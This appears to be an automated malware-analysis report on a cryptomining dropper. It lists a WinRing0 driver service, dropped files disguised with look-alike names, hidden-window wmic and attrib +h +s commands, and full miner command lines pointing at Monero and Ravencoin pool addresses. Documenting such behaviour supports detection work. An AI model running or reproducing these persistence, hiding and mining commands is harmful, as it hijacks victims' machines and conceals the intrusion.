Technical Information
To ensure autorun and distribution
Sets the following service settings
- [HKLM\SYSTEM\CurrentControlSet\Services\WinRing0_1_2_0] 'ImagePath' = '%ALLUSERSPROFILE%\Profile\WinRing0x64.sys'
Creates the following services
- 'WinRing0_1_2_0' %ALLUSERSPROFILE%\Profile\WinRing0x64.sys
Modifies file system
Creates the following files
- %TEMP%\onefile_4340_134021183251730003\smartloader.exe
- %TEMP%\onefile_4340_134021183251730003\_brotli.pyd
- %TEMP%\onefile_4340_134021183251730003\_bz2.pyd
- %TEMP%\onefile_4340_134021183251730003\_cffi_backend.pyd
- %TEMP%\onefile_4340_134021183251730003\_ctypes.pyd
- %TEMP%\onefile_4340_134021183251730003\_decimal.pyd
- %TEMP%\onefile_4340_134021183251730003\_elementtree.pyd
- %TEMP%\onefile_4340_134021183251730003\_hashlib.pyd
- %TEMP%\onefile_4340_134021183251730003\_lzma.pyd
- %TEMP%\onefile_4340_134021183251730003\_queue.pyd
- %TEMP%\onefile_4340_134021183251730003\_socket.pyd
- %TEMP%\onefile_4340_134021183251730003\_ssl.pyd
- %TEMP%\onefile_4340_134021183251730003\_wmi.pyd
- %TEMP%\onefile_4340_134021183251730003\libcrypto-3.dll
- %TEMP%\onefile_4340_134021183251730003\libffi-8.dll
- %TEMP%\onefile_4340_134021183251730003\libssl-3.dll
- %TEMP%\onefile_4340_134021183251730003\pyexpat.pyd
- %TEMP%\onefile_4340_134021183251730003\python3.dll
- %TEMP%\onefile_4340_134021183251730003\python312.dll
- %TEMP%\onefile_4340_134021183251730003\select.pyd
- %TEMP%\onefile_4340_134021183251730003\unicodedata.pyd
- %TEMP%\onefile_4340_134021183251730003\vcruntime140.dll
- %TEMP%\onefile_4340_134021183251730003\bcrypt\_bcrypt.pyd
- %TEMP%\onefile_4340_134021183251730003\certifi\cacert.pem
- %TEMP%\onefile_4340_134021183251730003\charset_normalizer\md.pyd
- %TEMP%\onefile_4340_134021183251730003\charset_normalizer\md__mypyc.pyd
- %TEMP%\onefile_4340_134021183251730003\cryptography\hazmat\bindings\_rust.pyd
- %TEMP%\onefile_4340_134021183251730003\psutil\_psutil_windows.pyd
- %TEMP%\_cx7xqe4
- %TEMP%\zodiac.log
- %ALLUSERSPROFILE%\system32\shеllhost.exe
- %ALLUSERSPROFILE%\widgеts\widgеts.exe
- %TEMP%\onefile_4788_134021183717539004\watchdog.exe
- %TEMP%\onefile_4804_134021183717765488\watchdog.exe
- %TEMP%\onefile_4788_134021183717539004\_brotli.pyd
- %TEMP%\onefile_4804_134021183717765488\_brotli.pyd
- %TEMP%\onefile_4788_134021183717539004\_bz2.pyd
- %TEMP%\onefile_4788_134021183717539004\_cffi_backend.pyd
- %TEMP%\onefile_4804_134021183717765488\_bz2.pyd
- %TEMP%\onefile_4788_134021183717539004\_ctypes.pyd
- %TEMP%\onefile_4804_134021183717765488\_cffi_backend.pyd
- %TEMP%\onefile_4788_134021183717539004\_decimal.pyd
- %TEMP%\onefile_4804_134021183717765488\_ctypes.pyd
- %TEMP%\onefile_4804_134021183717765488\_decimal.pyd
- %TEMP%\onefile_4788_134021183717539004\_elementtree.pyd
- %TEMP%\onefile_4788_134021183717539004\_hashlib.pyd
- %TEMP%\onefile_4804_134021183717765488\_elementtree.pyd
- %TEMP%\onefile_4788_134021183717539004\_lzma.pyd
- %TEMP%\onefile_4804_134021183717765488\_hashlib.pyd
- %TEMP%\onefile_4804_134021183717765488\_lzma.pyd
- %TEMP%\onefile_4788_134021183717539004\_queue.pyd
- %TEMP%\onefile_4788_134021183717539004\_socket.pyd
- %TEMP%\onefile_4804_134021183717765488\_queue.pyd
- %TEMP%\onefile_4788_134021183717539004\_ssl.pyd
- %TEMP%\onefile_4804_134021183717765488\_socket.pyd
- %TEMP%\onefile_4788_134021183717539004\_wmi.pyd
- %TEMP%\onefile_4804_134021183717765488\_ssl.pyd
- %TEMP%\onefile_4788_134021183717539004\libcrypto-3.dll
- %TEMP%\onefile_4804_134021183717765488\_wmi.pyd
- %TEMP%\onefile_4804_134021183717765488\libcrypto-3.dll
- %TEMP%\onefile_4788_134021183717539004\libffi-8.dll
- %TEMP%\onefile_4804_134021183717765488\libffi-8.dll
- %TEMP%\onefile_4788_134021183717539004\libssl-3.dll
- %TEMP%\onefile_4804_134021183717765488\libssl-3.dll
- %TEMP%\onefile_4788_134021183717539004\pyexpat.pyd
- %TEMP%\onefile_4804_134021183717765488\pyexpat.pyd
- %TEMP%\onefile_4788_134021183717539004\python3.dll
- %TEMP%\onefile_4804_134021183717765488\python3.dll
- %TEMP%\onefile_4788_134021183717539004\python312.dll
- %TEMP%\onefile_4804_134021183717765488\python312.dll
- %TEMP%\onefile_4804_134021183717765488\select.pyd
- %TEMP%\onefile_4804_134021183717765488\unicodedata.pyd
- %TEMP%\onefile_4788_134021183717539004\select.pyd
- %TEMP%\onefile_4788_134021183717539004\unicodedata.pyd
- %TEMP%\onefile_4804_134021183717765488\vcruntime140.dll
- %TEMP%\onefile_4804_134021183717765488\bcrypt\_bcrypt.pyd
- %TEMP%\onefile_4788_134021183717539004\vcruntime140.dll
- %TEMP%\onefile_4788_134021183717539004\bcrypt\_bcrypt.pyd
- %TEMP%\onefile_4804_134021183717765488\certifi\cacert.pem
- %TEMP%\onefile_4804_134021183717765488\charset_normalizer\md.pyd
- %TEMP%\onefile_4788_134021183717539004\certifi\cacert.pem
- %TEMP%\onefile_4804_134021183717765488\charset_normalizer\md__mypyc.pyd
- %TEMP%\onefile_4788_134021183717539004\charset_normalizer\md.pyd
- %TEMP%\onefile_4804_134021183717765488\cryptography\hazmat\bindings\_rust.pyd
- %TEMP%\onefile_4788_134021183717539004\charset_normalizer\md__mypyc.pyd
- %TEMP%\onefile_4788_134021183717539004\cryptography\hazmat\bindings\_rust.pyd
- %TEMP%\onefile_4788_134021183717539004\psutil\_psutil_windows.pyd
- %TEMP%\onefile_4804_134021183717765488\psutil\_psutil_windows.pyd
- %TEMP%\f4qbp0th
- %TEMP%\wbnr2zby
- %TEMP%\onefile_3532_134021183744708471\miner.exe
- %TEMP%\onefile_3532_134021183744708471\_bz2.pyd
- %TEMP%\onefile_3532_134021183744708471\_ctypes.pyd
- %TEMP%\onefile_3532_134021183744708471\_decimal.pyd
- %TEMP%\onefile_3532_134021183744708471\_elementtree.pyd
- %TEMP%\onefile_3532_134021183744708471\_hashlib.pyd
- %TEMP%\onefile_3532_134021183744708471\_lzma.pyd
- %TEMP%\onefile_3532_134021183744708471\_socket.pyd
- %TEMP%\onefile_3532_134021183744708471\_ssl.pyd
- %TEMP%\onefile_3532_134021183744708471\_wmi.pyd
- %TEMP%\onefile_3532_134021183744708471\libcrypto-3.dll
- %TEMP%\onefile_3532_134021183744708471\libffi-8.dll
- %TEMP%\onefile_3532_134021183744708471\libssl-3.dll
- %TEMP%\onefile_3532_134021183744708471\pyexpat.pyd
- %TEMP%\onefile_3532_134021183744708471\python3.dll
- %TEMP%\onefile_3532_134021183744708471\python312.dll
- %TEMP%\onefile_3532_134021183744708471\select.pyd
- %TEMP%\onefile_3532_134021183744708471\unicodedata.pyd
- %TEMP%\onefile_3532_134021183744708471\vcruntime140.dll
- %TEMP%\onefile_3532_134021183744708471\psutil\_psutil_windows.pyd
- %ALLUSERSPROFILE%\profile\jаva.exe
- %ALLUSERSPROFILE%\profile\javа.exe
- %TEMP%\evbcba4.tmp
- %TEMP%\evbce15.tmp
- nul
Sets the 'hidden' attribute to the following files
- %ALLUSERSPROFILE%\profile\jаva.exe
- %ALLUSERSPROFILE%\profile\javа.exe
Network activity
Connects to
- 'gi##ub.com':443
- 're#########ets.githubusercontent.com':443
- 'xm#.##yptex.network':7777
TCP
Other
- 'gi##ub.com':443
- 're#########ets.githubusercontent.com':443
- 'xm#.##yptex.network':7777
UDP
- DNS ASK gi##ub.com
- DNS ASK re#########ets.githubusercontent.com
- DNS ASK xm#.##yptex.network
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: ''
Creates and executes the following
- '%TEMP%\onefile_4340_134021183251730003\smartloader.exe'
- '%ALLUSERSPROFILE%\widgеts\widgеts.exe'
- '%TEMP%\onefile_4788_134021183717539004\watchdog.exe'
- '%TEMP%\onefile_4804_134021183717765488\watchdog.exe'
- '%ALLUSERSPROFILE%\system32\shеllhost.exe'
- '%TEMP%\onefile_3532_134021183744708471\miner.exe'
- '%ALLUSERSPROFILE%\profile\jаva.exe' --url stratum+tcp://xmr.kryptex.network:7777 --user extrememosh@gmail.com/19-39-11-09-2025 --algo randomx --keepalive --cpu-max-threads-hint 30
- '%ALLUSERSPROFILE%\profile\javа.exe' -a kawpow -o stratum+tcp://rvn.kryptex.network:7777 -u extrememosh@gmail.com/19-39-11-09-2025
Executes the following
- '<SYSTEM32>\cmd.exe' /c "wmic cpu get Name"
- '<SYSTEM32>\wbem\wmic.exe' cpu get Name
- '<SYSTEM32>\cmd.exe' /c "wmic path win32_VideoController get Name"
- '<SYSTEM32>\wbem\wmic.exe' path win32_VideoController get Name
- '<SYSTEM32>\cmd.exe' /c attrib +h +s "%ALLUSERSPROFILE%\Profile"
- '<SYSTEM32>\attrib.exe' +h +s "%ALLUSERSPROFILE%\Profile"
- '<SYSTEM32>\cmd.exe' /c attrib +h +s "%ALLUSERSPROFILE%\Profile\jаva.exe"
- '<SYSTEM32>\attrib.exe' +h +s "%ALLUSERSPROFILE%\Profile\jаva.exe"
- '<SYSTEM32>\cmd.exe' /c attrib +h +s "%ALLUSERSPROFILE%\Profile\javа.exe"
- '<SYSTEM32>\attrib.exe' +h +s "%ALLUSERSPROFILE%\Profile\javа.exe"
- '<SYSTEM32>\cmd.exe' /c ""%ALLUSERSPROFILE%\Profile\jаva.exe" --url stratum+tcp://xmr.kryptex.network:7777 --user extrememosh@gmail.com/19-39-11-09-2025 --algo randomx --keepalive --cpu-max-threads-hint 30"
- '<SYSTEM32>\cmd.exe' /c ""%ALLUSERSPROFILE%\Profile\javа.exe" -a kawpow -o stratum+tcp://rvn.kryptex.network:7777 -u extrememosh@gmail.com/19-39-11-09-2025"
- '<SYSTEM32>\cmd.exe' /c set
- '<SYSTEM32>\cmd.exe' /c "wmic cpu get Name"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "wmic path win32_VideoController get Name"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c ""%ALLUSERSPROFILE%\Profile\jаva.exe" --url stratum+tcp://xmr.kryptex.network:7777 --user extrememosh@gmail.com/19-39-11-09-2025 --algo randomx --keepalive --cpu-max-threads-hint 30"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c ""%ALLUSERSPROFILE%\Profile\javа.exe" -a kawpow -o stratum+tcp://rvn.kryptex.network:7777 -u extrememosh@gmail.com/19-39-11-09-2025"' (with hidden window)
